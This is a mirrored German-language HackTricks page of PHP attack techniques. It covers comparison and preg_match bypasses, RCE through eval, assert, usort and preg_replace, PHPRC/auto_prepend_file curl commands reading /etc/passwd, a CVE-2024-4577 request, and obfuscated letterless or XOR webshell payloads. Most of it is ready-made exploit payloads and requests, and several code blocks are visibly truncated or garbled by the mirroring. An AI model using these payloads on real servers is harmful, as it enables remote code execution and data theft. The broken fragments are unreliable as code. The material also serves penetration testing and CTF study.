mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
452 lines
23 KiB
Markdown
452 lines
23 KiB
Markdown
# PHP Tricks
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|
|
|
|
|
|
## Häufiger Speicherort für Cookies:
|
|
|
|
Dies gilt auch für phpMyAdmin-Cookies.
|
|
|
|
Cookies:
|
|
```
|
|
PHPSESSID
|
|
phpMyAdmin
|
|
```
|
|
Standorte:
|
|
```
|
|
/var/lib/php/sessions
|
|
/var/lib/php5/
|
|
/tmp/
|
|
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
|
|
```
|
|
## Umgehen von PHP-Vergleichen
|
|
|
|
### Lose Vergleiche/Typumwandlung ( == )
|
|
|
|
Wenn `==` in PHP verwendet wird, gibt es unerwartete Fälle, in denen der Vergleich nicht wie erwartet funktioniert. Das liegt daran, dass "==" nur Werte vergleicht, die in denselben Typ umgewandelt wurden. Wenn Sie auch vergleichen möchten, dass der Typ der verglichenen Daten derselbe ist, müssen Sie `===` verwenden.
|
|
|
|
PHP-Vergleichstabellen: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
|
|
|
|
.png>)
|
|
|
|
{% file src="../../../images/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
|
|
|
|
- `"string" == 0 -> True` Ein String, der nicht mit einer Zahl beginnt, ist gleich einer Zahl
|
|
- `"0xAAAA" == "43690" -> True` Strings, die aus Zahlen im Dezimal- oder Hexadezimalformat bestehen, können mit anderen Zahlen/Strings verglichen werden, wobei das Ergebnis True ist, wenn die Zahlen gleich sind (Zahlen in einem String werden als Zahlen interpretiert)
|
|
- `"0e3264578" == 0 --> True` Ein String, der mit "0e" beginnt und gefolgt von irgendetwas ist, wird gleich 0 sein
|
|
- `"0X3264578" == 0X --> True` Ein String, der mit "0" beginnt und gefolgt von einem beliebigen Buchstaben (X kann jeder Buchstabe sein) und gefolgt von irgendetwas ist, wird gleich 0 sein
|
|
- `"0e12334" == "0" --> True` Dies ist sehr interessant, da Sie in einigen Fällen die String-Eingabe von "0" und einige Inhalte, die gehasht und damit verglichen werden, steuern können. Daher, wenn Sie einen Wert bereitstellen können, der einen Hash erzeugt, der mit "0e" beginnt und ohne Buchstaben ist, könnten Sie den Vergleich umgehen. Sie können **bereits gehashte Strings** mit diesem Format hier finden: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
|
|
- `"X" == 0 --> True` Jeder Buchstabe in einem String ist gleich int 0
|
|
|
|
Weitere Informationen unter [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
|
|
|
|
### **in_array()**
|
|
|
|
**Typumwandlung** betrifft auch die Funktion `in_array()` standardmäßig (Sie müssen das dritte Argument auf true setzen, um einen strengen Vergleich durchzuführen):
|
|
```php
|
|
$values = array("apple","orange","pear","grape");
|
|
var_dump(in_array(0, $values));
|
|
//True
|
|
var_dump(in_array(0, $values, true));
|
|
//False
|
|
```
|
|
### strcmp()/strcasecmp()
|
|
|
|
Wenn diese Funktion für **irgendeine Authentifizierungsüberprüfung** verwendet wird (wie das Überprüfen des Passworts) und der Benutzer eine Seite des Vergleichs kontrolliert, kann er ein leeres Array anstelle eines Strings als Wert des Passworts senden (`https://example.com/login.php/?username=admin&password[]=`) und diese Überprüfung umgehen:
|
|
```php
|
|
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
|
|
// Real Password
|
|
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
|
|
// Real Password
|
|
```
|
|
Der gleiche Fehler tritt bei `strcasecmp()` auf
|
|
|
|
### Strikte Typumwandlung
|
|
|
|
Selbst wenn `===` **verwendet wird**, kann es Fehler geben, die den **Vergleich anfällig** für **Typumwandlung** machen. Zum Beispiel, wenn der Vergleich **die Daten in einen anderen Objekttyp umwandelt, bevor er vergleicht**:
|
|
```php
|
|
(int) "1abc" === (int) "1xyz" //This will be true
|
|
```
|
|
### preg_match(/^.\*/)
|
|
|
|
**`preg_match()`** könnte verwendet werden, um **Benutzereingaben zu validieren** (es **prüft**, ob ein **Wort/Regex** aus einer **Blacklist** in der **Benutzereingabe** **vorhanden** ist, und wenn nicht, kann der Code seine Ausführung fortsetzen).
|
|
|
|
#### New line bypass
|
|
|
|
Wenn jedoch der Anfang des Regex mit `preg_match()` **abgegrenzt** wird, **prüft** es **nur die erste Zeile der Benutzereingabe**, und wenn Sie die Eingabe irgendwie in **mehreren Zeilen** **senden** können, könnten Sie in der Lage sein, diese Überprüfung zu umgehen. Beispiel:
|
|
```php
|
|
$myinput="aaaaaaa
|
|
11111111"; //Notice the new line
|
|
echo preg_match("/1/",$myinput);
|
|
//1 --> In this scenario preg_match find the char "1"
|
|
echo preg_match("/1.*$/",$myinput);
|
|
//1 --> In this scenario preg_match find the char "1"
|
|
echo preg_match("/^.*1/",$myinput);
|
|
//0 --> In this scenario preg_match DOESN'T find the char "1"
|
|
echo preg_match("/^.*1.*$/",$myinput);
|
|
//0 --> In this scenario preg_match DOESN'T find the char "1"
|
|
```
|
|
Um diese Überprüfung zu umgehen, könnten Sie **den Wert mit URL-kodierten Zeilenumbrüchen** (`%0A`) senden oder, wenn Sie **JSON-Daten** senden können, senden Sie es in **mehreren Zeilen**:
|
|
```php
|
|
{
|
|
"cmd": "cat /etc/passwd"
|
|
}
|
|
```
|
|
Finden Sie ein Beispiel hier: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
|
|
|
|
#### **Length error bypass**
|
|
|
|
(Diese Umgehung wurde anscheinend auf PHP 5.2.5 ausprobiert und ich konnte sie nicht auf PHP 7.3.15 zum Laufen bringen)\
|
|
Wenn Sie `preg_match()` eine gültige sehr **große Eingabe** senden, **wird es nicht in der Lage sein, sie zu verarbeiten** und Sie werden in der Lage sein, die Überprüfung zu **umgehen**. Zum Beispiel, wenn es eine JSON auf die schwarze Liste setzt, könnten Sie senden:
|
|
```bash
|
|
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
|
|
```
|
|
From: [https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0](https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0)
|
|
|
|
#### ReDoS Bypass
|
|
|
|
Trick von: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223) und [https://mizu.re/post/pong](https://mizu.re/post/pong)
|
|
|
|
<figure><img src="../../../images/image (26).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Kurz gesagt, das Problem tritt auf, weil die `preg_*` Funktionen in PHP auf der [PCRE-Bibliothek](http://www.pcre.org/) basieren. In PCRE werden bestimmte reguläre Ausdrücke durch viele rekursive Aufrufe abgeglichen, was viel Stack-Speicher verbraucht. Es ist möglich, ein Limit für die Anzahl der erlaubten Rekursionen festzulegen, aber in PHP beträgt dieses Limit [standardmäßig 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), was mehr ist, als im Stack Platz hat.
|
|
|
|
[Dieser Stackoverflow-Thread](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) wurde ebenfalls in dem Beitrag verlinkt, in dem ausführlicher über dieses Problem gesprochen wird. Unsere Aufgabe war nun klar:\
|
|
**Sende eine Eingabe, die die Regex dazu bringt, 100_000+ Rekursionen durchzuführen, was zu SIGSEGV führt, wodurch die `preg_match()` Funktion `false` zurückgibt und die Anwendung denkt, dass unsere Eingabe nicht bösartig ist, und am Ende des Payloads eine Überraschung wie `{system(<verybadcommand>)}` wirft, um SSTI --> RCE --> Flag :)**.
|
|
|
|
Nun, in Regex-Begriffen führen wir tatsächlich keine 100k "Rekursionen" durch, sondern zählen "Backtracking-Schritte", die, wie die [PHP-Dokumentation](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) besagt, standardmäßig 1_000_000 (1M) in der Variablen `pcre.backtrack_limit` beträgt.\
|
|
Um das zu erreichen, wird `'X'*500_001` zu 1 Million Backtracking-Schritten führen (500k vorwärts und 500k rückwärts):
|
|
```python
|
|
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
|
|
```
|
|
### Type Juggling zur PHP-Obfuskation
|
|
```php
|
|
$obfs = "1"; //string "1"
|
|
$obfs++; //int 2
|
|
$obfs += 0.2; //float 2.2
|
|
$obfs = 1 + "7 IGNORE"; //int 8
|
|
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
|
|
$obfs = 3+2 * (TRUE + TRUE); //int 7
|
|
$obfs .= ""; //string "7"
|
|
$obfs += ""; //int 7
|
|
```
|
|
## Execute After Redirect (EAR)
|
|
|
|
Wenn PHP auf eine andere Seite umleitet, aber keine **`die`** oder **`exit`** Funktion **nach dem Setzen des Headers `Location`** aufgerufen wird, führt PHP die Ausführung fort und fügt die Daten zum Body hinzu:
|
|
```php
|
|
<?php
|
|
// In this page the page will be read and the content appended to the body of
|
|
// the redirect response
|
|
$page = $_GET['page'];
|
|
header('Location: /index.php?page=default.html');
|
|
readfile($page);
|
|
?>
|
|
```
|
|
## Path Traversal und File Inclusion Exploitation
|
|
|
|
Check:
|
|
|
|
{{#ref}}
|
|
../../../pentesting-web/file-inclusion/
|
|
{{#endref}}
|
|
|
|
## Weitere Tricks
|
|
|
|
- **register_globals**: In **PHP < 4.1.1.1** oder wenn falsch konfiguriert, kann **register_globals** aktiv sein (oder ihr Verhalten wird nachgeahmt). Das bedeutet, dass in globalen Variablen wie $\_GET, wenn sie einen Wert haben z.B. $\_GET\["param"]="1234", Sie darauf über **$param zugreifen können. Daher können Sie durch das Senden von HTTP-Parametern Variablen\*\* überschreiben, die im Code verwendet werden.
|
|
- Die **PHPSESSION-Cookies der gleichen Domain werden am gleichen Ort gespeichert**, daher, wenn innerhalb einer Domain **verschiedene Cookies in verschiedenen Pfaden verwendet werden**, können Sie einen Pfad so gestalten, dass er das Cookie des anderen Pfades zugreift, indem er den Wert des Cookies des anderen Pfades setzt.\
|
|
Auf diese Weise, wenn **beide Pfade auf eine Variable mit dem gleichen Namen zugreifen**, können Sie den **Wert dieser Variablen in path1 auf path2 anwenden**. Und dann wird path2 die Variablen von path1 als gültig betrachten (indem das Cookie den Namen erhält, der ihm in path2 entspricht).
|
|
- Wenn Sie die **Benutzernamen** der Benutzer der Maschine haben. Überprüfen Sie die Adresse: **/\~\<USERNAME>**, um zu sehen, ob die PHP-Verzeichnisse aktiviert sind.
|
|
- [**LFI und RCE mit PHP-Wrappers**](../../../pentesting-web/file-inclusion/index.html)
|
|
|
|
### password_hash/password_verify
|
|
|
|
Diese Funktionen werden typischerweise in PHP verwendet, um **Hashes aus Passwörtern zu generieren** und um zu **überprüfen**, ob ein Passwort im Vergleich zu einem Hash korrekt ist.\
|
|
Die unterstützten Algorithmen sind: `PASSWORD_DEFAULT` und `PASSWORD_BCRYPT` (beginnt mit `$2y$`). Beachten Sie, dass **PASSWORD_DEFAULT häufig dasselbe wie PASSWORD_BCRYPT ist.** Und derzeit hat **PASSWORD_BCRYPT** eine **Größenbeschränkung für die Eingabe von 72 Bytes**. Daher, wenn Sie versuchen, etwas Größeres als 72 Bytes mit diesem Algorithmus zu hashen, werden nur die ersten 72B verwendet:
|
|
```php
|
|
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
|
False
|
|
|
|
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
|
|
True
|
|
```
|
|
### HTTP-Header-Bypass durch Ausnutzung von PHP-Fehlern
|
|
|
|
#### Fehler verursachen nach dem Setzen von Headern
|
|
|
|
Aus [**diesem Twitter-Thread**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) kann man sehen, dass das Senden von mehr als 1000 GET-Parametern oder 1000 POST-Parametern oder 20 Dateien dazu führt, dass PHP keine Header in der Antwort setzen wird.
|
|
|
|
Dies ermöglicht es, beispielsweise CSP-Header zu umgehen, die in Codes wie:
|
|
```php
|
|
<?php
|
|
header("Content-Security-Policy: default-src 'none';");
|
|
if (isset($_GET["xss"])) echo $_GET["xss"];
|
|
```
|
|
#### Füllen eines Körpers, bevor Header gesetzt werden
|
|
|
|
Wenn eine **PHP-Seite Fehler ausgibt und einige vom Benutzer bereitgestellte Eingaben zurückgibt**, kann der Benutzer den PHP-Server dazu bringen, einige **Inhalte auszugeben, die lang genug sind**, sodass der Server einen Fehler ausgibt, wenn er versucht, **die Header** in die Antwort einzufügen.\
|
|
Im folgenden Szenario hat der **Angreifer den Server dazu gebracht, einige große Fehler auszugeben**, und wie Sie auf dem Bildschirm sehen können, als PHP versuchte, **die Headerinformationen zu ändern, konnte es nicht** (zum Beispiel wurde der CSP-Header nicht an den Benutzer gesendet):
|
|
|
|
.png>)
|
|
|
|
## SSRF in PHP-Funktionen
|
|
|
|
Überprüfen Sie die Seite:
|
|
|
|
{{#ref}}
|
|
php-ssrf.md
|
|
{{#endref}}
|
|
|
|
## Codeausführung
|
|
|
|
**system("ls");**\
|
|
&#xNAN;**\`ls\`;**\
|
|
**shell_exec("ls");**
|
|
|
|
[Überprüfen Sie dies für nützliche PHP-Funktionen](php-useful-functions-disable_functions-open_basedir-bypass/index.html)
|
|
|
|
### **RCE über** **preg_replace()**
|
|
```php
|
|
preg_replace(pattern,replace,base)
|
|
preg_replace("/a/e","phpinfo()","whatever")
|
|
```
|
|
Um den Code im "replace"-Argument auszuführen, ist mindestens ein Treffer erforderlich.\
|
|
Diese Option von preg_replace ist **seit PHP 5.5.0 veraltet.**
|
|
|
|
### **RCE über Eval()**
|
|
```
|
|
'.system('uname -a'); $dummy='
|
|
'.system('uname -a');#
|
|
'.system('uname -a');//
|
|
'.phpinfo().'
|
|
<?php phpinfo(); ?>
|
|
```
|
|
### **RCE über Assert()**
|
|
|
|
Diese Funktion innerhalb von php ermöglicht es Ihnen, **Code, der in einer Zeichenkette geschrieben ist, auszuführen**, um **true oder false zurückzugeben** (und je nach dem die Ausführung zu ändern). Normalerweise wird die Benutzervariable in die Mitte einer Zeichenkette eingefügt. Zum Beispiel:\
|
|
`assert("strpos($_GET['page']),'..') === false")` --> In diesem Fall könnten Sie tun, um **RCE** zu erhalten:
|
|
```
|
|
?page=a','NeVeR') === false and system('ls') and strpos('a
|
|
```
|
|
Sie müssen die **Code-Syntax** **brechen**, Ihre **Payload** **hinzufügen** und sie dann **wieder reparieren**. Sie können **logische Operationen** wie "**and" oder "%26%26" oder "|"** verwenden. Beachten Sie, dass "or", "||" nicht funktioniert, da unsere Payload nicht ausgeführt wird, wenn die erste Bedingung wahr ist. Ebenso funktioniert ";" nicht, da unsere Payload nicht ausgeführt wird.
|
|
|
|
**Eine andere Option** besteht darin, der Zeichenkette die Ausführung des Befehls hinzuzufügen: `'.highlight_file('.passwd').'`
|
|
|
|
**Eine andere Option** (wenn Sie den internen Code haben) besteht darin, eine Variable zu ändern, um die Ausführung zu ändern: `$file = "hola"`
|
|
|
|
### **RCE über usort()**
|
|
|
|
Diese Funktion wird verwendet, um ein Array von Elementen mit einer bestimmten Funktion zu sortieren.\
|
|
Um diese Funktion auszunutzen:
|
|
```php
|
|
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
|
|
VALUE: );phpinfo();#
|
|
|
|
<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
|
|
```
|
|
|
|
```php
|
|
<?php
|
|
function foo($x,$y){
|
|
usort(VALUE, "cmp");
|
|
}?>
|
|
VALUE: );}[PHP CODE];#
|
|
|
|
<?php
|
|
function foo($x,$y){
|
|
usort();}phpinfo;#, "cmp");
|
|
}?>
|
|
```
|
|
Sie können auch **//** verwenden, um den Rest des Codes zu kommentieren.
|
|
|
|
Um die Anzahl der Klammern zu entdecken, die Sie schließen müssen:
|
|
|
|
- `?order=id;}//`: Wir erhalten eine Fehlermeldung (`Parse error: syntax error, unexpected ';'`). Wahrscheinlich fehlen uns eine oder mehrere Klammern.
|
|
- `?order=id);}//`: Wir erhalten eine **Warnung**. Das scheint richtig zu sein.
|
|
- `?order=id));}//`: Wir erhalten eine Fehlermeldung (`Parse error: syntax error, unexpected ')' i`). Wahrscheinlich haben wir zu viele schließende Klammern.
|
|
|
|
### **RCE über .httaccess**
|
|
|
|
Wenn Sie eine **.htaccess** **hochladen** können, dann können Sie mehrere Dinge **konfigurieren** und sogar Code ausführen (indem Sie konfigurieren, dass Dateien mit der Erweiterung .htaccess **ausgeführt** werden können).
|
|
|
|
Verschiedene .htaccess-Shells finden Sie [hier](https://github.com/wireghoul/htshells)
|
|
|
|
### RCE über Env-Variablen
|
|
|
|
Wenn Sie eine Schwachstelle finden, die es Ihnen ermöglicht, **Umgebungsvariablen in PHP zu ändern** (und eine andere, um Dateien hochzuladen, obwohl dies mit mehr Forschung möglicherweise umgangen werden kann), könnten Sie dieses Verhalten ausnutzen, um **RCE** zu erhalten.
|
|
|
|
- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path): Diese Umgebungsvariable ermöglicht es Ihnen, beliebige Bibliotheken beim Ausführen anderer Binärdateien zu laden (obwohl es in diesem Fall möglicherweise nicht funktioniert).
|
|
- **`PHPRC`** : Weist PHP an, **wo es seine Konfigurationsdatei finden soll**, die normalerweise `php.ini` genannt wird. Wenn Sie Ihre eigene Konfigurationsdatei hochladen können, verwenden Sie `PHPRC`, um PHP darauf zu verweisen. Fügen Sie einen **`auto_prepend_file`**-Eintrag hinzu, der eine zweite hochgeladene Datei angibt. Diese zweite Datei enthält normalen **PHP-Code, der dann** von der PHP-Laufzeitumgebung vor jedem anderen Code ausgeführt wird.
|
|
1. Laden Sie eine PHP-Datei mit unserem Shellcode hoch.
|
|
2. Laden Sie eine zweite Datei hoch, die eine **`auto_prepend_file`**-Direktive enthält, die den PHP-Präprozessor anweist, die Datei aus Schritt 1 auszuführen.
|
|
3. Setzen Sie die `PHPRC`-Variable auf die Datei, die Sie in Schritt 2 hochgeladen haben.
|
|
- Erhalten Sie weitere Informationen zur Ausführung dieser Kette [**aus dem ursprünglichen Bericht**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/).
|
|
- **PHPRC** - eine weitere Option
|
|
- Wenn Sie **keine Dateien hochladen können**, könnten Sie in FreeBSD die "Datei" `/dev/fd/0` verwenden, die den **`stdin`** enthält, der den **Inhalt** der an den `stdin` gesendeten Anfrage darstellt:
|
|
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
|
|
- Oder um RCE zu erhalten, aktivieren Sie **`allow_url_include`** und fügen Sie eine Datei mit **base64 PHP-Code** hinzu:
|
|
- `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
|
|
- Technik [**aus diesem Bericht**](https://vulncheck.com/blog/juniper-cve-2023-36845).
|
|
|
|
### XAMPP CGI RCE - CVE-2024-4577
|
|
|
|
Der Webserver analysiert HTTP-Anfragen und leitet sie an ein PHP-Skript weiter, das eine Anfrage wie [`http://host/cgi.php?foo=bar`](http://host/cgi.php?foo=bar&ref=labs.watchtowr.com) als `php.exe cgi.php foo=bar` ausführt, was eine Parameterinjektion ermöglicht. Dies würde es ermöglichen, die folgenden Parameter zu injizieren, um den PHP-Code aus dem Inhalt zu laden:
|
|
```jsx
|
|
-d allow_url_include=1 -d auto_prepend_file=php://input
|
|
```
|
|
Darüber hinaus ist es möglich, den "-" Parameter mit dem 0xAD Zeichen zu injizieren, aufgrund der späteren Normalisierung von PHP. Überprüfen Sie das Exploit-Beispiel aus [**diesem Beitrag**](https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/):
|
|
```jsx
|
|
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
|
|
Host: {{host}}
|
|
User-Agent: curl/8.3.0
|
|
Accept: */*
|
|
Content-Length: 23
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Connection: keep-alive
|
|
|
|
<?php
|
|
phpinfo();
|
|
?>
|
|
|
|
```
|
|
## PHP Sanitization Bypass & Brain Fuck
|
|
|
|
[**In diesem Beitrag**](https://blog.redteam-pentesting.de/2024/moodle-rce/) sind großartige Ideen zu finden, um einen Brain Fuck PHP-Code mit sehr wenigen erlaubten Zeichen zu generieren.\
|
|
Darüber hinaus wird auch eine interessante Möglichkeit vorgeschlagen, Funktionen auszuführen, die es ermöglichten, mehrere Überprüfungen zu umgehen:
|
|
```php
|
|
(1)->{system($_GET[chr(97)])}
|
|
```
|
|
## PHP Statische Analyse
|
|
|
|
Überprüfen Sie, ob Sie Code in Aufrufen dieser Funktionen einfügen können (von [hier](https://www.youtube.com/watch?v=SyWUsN0yHKI&feature=youtu.be)):
|
|
```php
|
|
exec, shell_exec, system, passthru, eval, popen
|
|
unserialize, include, file_put_cotents
|
|
$_COOKIE | if #This mea
|
|
```
|
|
Wenn Sie eine PHP-Anwendung debuggen, können Sie die Fehlerausgabe global aktivieren, indem Sie `display_errors = On` in `/etc/php5/apache2/php.ini` hinzufügen und Apache neu starten: `sudo systemctl restart apache2`
|
|
|
|
### Deobfuscating PHP code
|
|
|
|
Sie können die **web**[ **www.unphp.net**](http://www.unphp.net) **verwenden, um PHP-Code zu deobfuskieren.**
|
|
|
|
## PHP Wrappers & Protocols
|
|
|
|
PHP-Wrappers und -Protokolle könnten es Ihnen ermöglichen, **Schreib- und Lese-Schutzmaßnahmen** in einem System zu **umgehen** und es zu kompromittieren. Für [**weitere Informationen überprüfen Sie diese Seite**](../../../pentesting-web/file-inclusion/index.html#lfi-rfi-using-php-wrappers-and-protocols).
|
|
|
|
## Xdebug unauthenticated RCE
|
|
|
|
Wenn Sie sehen, dass **Xdebug** in einer `phpconfig()`-Ausgabe **aktiviert** ist, sollten Sie versuchen, RCE über [https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit) zu erhalten.
|
|
|
|
## Variable variables
|
|
```php
|
|
$x = 'Da';
|
|
$$x = 'Drums';
|
|
|
|
echo $x; //Da
|
|
echo $$x; //Drums
|
|
echo $Da; //Drums
|
|
echo "${Da}"; //Drums
|
|
echo "$x ${$x}"; //Da Drums
|
|
echo "$x ${Da}"; //Da Drums
|
|
```
|
|
## RCE durch Missbrauch von $\_GET\["a"]\($\_GET\["b")
|
|
|
|
Wenn Sie auf einer Seite **ein neues Objekt einer beliebigen Klasse erstellen** können, könnten Sie in der Lage sein, RCE zu erlangen. Überprüfen Sie die folgende Seite, um zu lernen, wie:
|
|
|
|
{{#ref}}
|
|
php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
|
|
{{#endref}}
|
|
|
|
## PHP ohne Buchstaben ausführen
|
|
|
|
[https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/)
|
|
|
|
### Verwendung von Oktal
|
|
```php
|
|
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
|
|
```
|
|
### **XOR**
|
|
```php
|
|
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
|
|
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
|
|
$___=$__; #Could be not needed inside eval
|
|
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
|
|
```
|
|
### XOR einfacher Shellcode
|
|
|
|
Laut [**diesem Bericht**](https://mgp25.com/ctf/Web-challenge/) ist es möglich, auf diese Weise einen einfachen Shellcode zu generieren:
|
|
```php
|
|
$_="`{{{"^"?<>/"; // $_ = '_GET';
|
|
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
|
|
|
|
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
|
|
```
|
|
Also, wenn Sie **willkürliches PHP ohne Zahlen und Buchstaben ausführen können**, können Sie eine Anfrage wie die folgende senden, um diese Nutzlast auszunutzen, um willkürliches PHP auszuführen:
|
|
```
|
|
POST: /action.php?_=system&__=cat+flag.php
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
|
|
```
|
|
Für eine detailliertere Erklärung siehe [https://ctf-wiki.org/web/php/php/#preg_match](https://ctf-wiki.org/web/php/php/#preg_match)
|
|
|
|
### XOR Shellcode (innerhalb von eval)
|
|
```bash
|
|
#!/bin/bash
|
|
|
|
if [[ -z $1 ]]; then
|
|
echo "USAGE: $0 CMD"
|
|
exit
|
|
fi
|
|
|
|
CMD=$1
|
|
CODE="\$_='\
|
|
```
|
|
|
|
```php
|
|
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
|
|
```
|
|
|
|
```php
|
|
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
|
|
```
|
|
### Perl ähnlich
|
|
```php
|
|
<?php
|
|
$_=[];
|
|
$_=@"$_"; // $_='Array';
|
|
$_=$_['!'=='@']; // $_=$_[0];
|
|
$___=$_; // A
|
|
$__=$_;
|
|
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
|
|
$___.=$__; // S
|
|
$___.=$__; // S
|
|
$__=$_;
|
|
$__++;$__++;$__++;$__++; // E
|
|
$___.=$__;
|
|
$__=$_;
|
|
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
|
|
$___.=$__;
|
|
$__=$_;
|
|
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
|
|
$___.=$__;
|
|
|
|
$____='_';
|
|
$__=$_;
|
|
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
|
|
$____.=$__;
|
|
$__=$_;
|
|
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
|
|
$____.=$__;
|
|
$__=$_;
|
|
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
|
|
$____.=$__;
|
|
$__=$_;
|
|
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
|
|
$____.=$__;
|
|
|
|
$_=$$____;
|
|
$___($_[_]); // ASSERT($_POST[_]);
|
|
```
|
|
{{#include ../../../banners/hacktricks-training.md}}
|